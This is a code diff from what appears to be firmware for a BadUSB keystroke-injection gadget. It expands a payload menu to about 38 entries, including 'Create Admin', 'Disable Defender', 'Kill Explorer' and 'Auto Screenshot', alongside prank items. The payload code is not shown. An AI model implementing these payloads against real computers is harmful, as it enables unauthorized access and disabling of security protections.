13+#include "sysinfo.h"
2014
2115 // ================= MENU DATA =================
2216
@@ -37,12 +31,52 @@ const char *mainMenuItems[] = {
3731 Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
3832
3933 // BadUSB submenu
40โˆ’const char *badusbItems[] = {
41โˆ’ "Demo",
42โˆ’ "Open CMD",
43โˆ’ "Rickroll"};
44โˆ’
45โˆ’Menu badusbMenu = {badusbItems, 3};
34+//const char *badusbItems[] = {
35+// "Demo",
36+// "Open CMD",
37+// "Rickroll"};
38+
39+ const char *badusbItems[] = {"DEMO",
40+ "KEYBOARD",
41+ "HID SCRIPT",
42+ "Open Notepad",
43+ "Open CMD",
44+ "Show IP",
45+ "Shutdown",
46+ "RickRoll",
47+ "Create Admin",
48+ "Disable Defender",
49+ "Open YouTube",
50+ "Lock PC",
51+ "Fake Update",
52+ "Endless Notepad",
53+ "Fake BSOD",
54+ "Flip Screen",
55+ "Matrix Effect",
56+ "I'm Watching U",
57+ "Open Google",
58+ "Open telegram",
59+ "Play Alarm Sound",
60+ "Endless CMD",
61+ "Type Gibberish",
62+ "Spam CAPSLOCK",
63+ "Open Calc",
64+ "Auto 'Hacked!'",
65+ "Turn Off Monitor",
66+ "Open RegEdit",
67+ "Kill Explorer",
68+ "Flash Screen",
69+ "Rename Desktop",
70+ "Toggle WiFi",
71+ "Auto Screenshot",
72+ "Spam Emojis",
73+ "Open Ctrl Panel",
74+ "Troll Wallpaper",
75+ "Open MS Paint",
76+ "Tab Switcher"};
77+
78+
79+Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
4680
4781 // ================= MENU STATE =================
4882
@@ -193,22 +227,7 @@ void launchFeature()
193227 }
194228 else if (currentMenu == &badusbMenu)
195229 {
196โˆ’ switch (menuIndex)
197โˆ’ {
198โˆ’ case 0:
199โˆ’ runBadUSBDemo();
200โˆ’ break;
201โˆ’
202โˆ’ case 1:
203โˆ’ Serial.println("Open CMD payload");
204โˆ’ runBadUSBOpenCMD();
205โˆ’ break;
206โˆ’
207โˆ’ case 2:
208โˆ’ Serial.println("Rickroll payload");
209โˆ’ runBadUSBRickroll();
210โˆ’ break;
211โˆ’ }
230+ badUSBMenu(menuIndex);
212231 }
213232
214233 insideFeature = false;
D firmware/stubs.cpp View
@@ -1,13 +0,0 @@
1โˆ’#include <Arduino.h>
2โˆ’
3โˆ’
4โˆ’void runRFCaptureFeature()
5โˆ’{
6โˆ’ Serial.println("RF Capture not implemented yet");
7โˆ’}
8โˆ’
9โˆ’
10โˆ’void runBLEScanFeature()
11โˆ’{
12โˆ’ Serial.println("BLE Scan not implemented yet");
13โˆ’}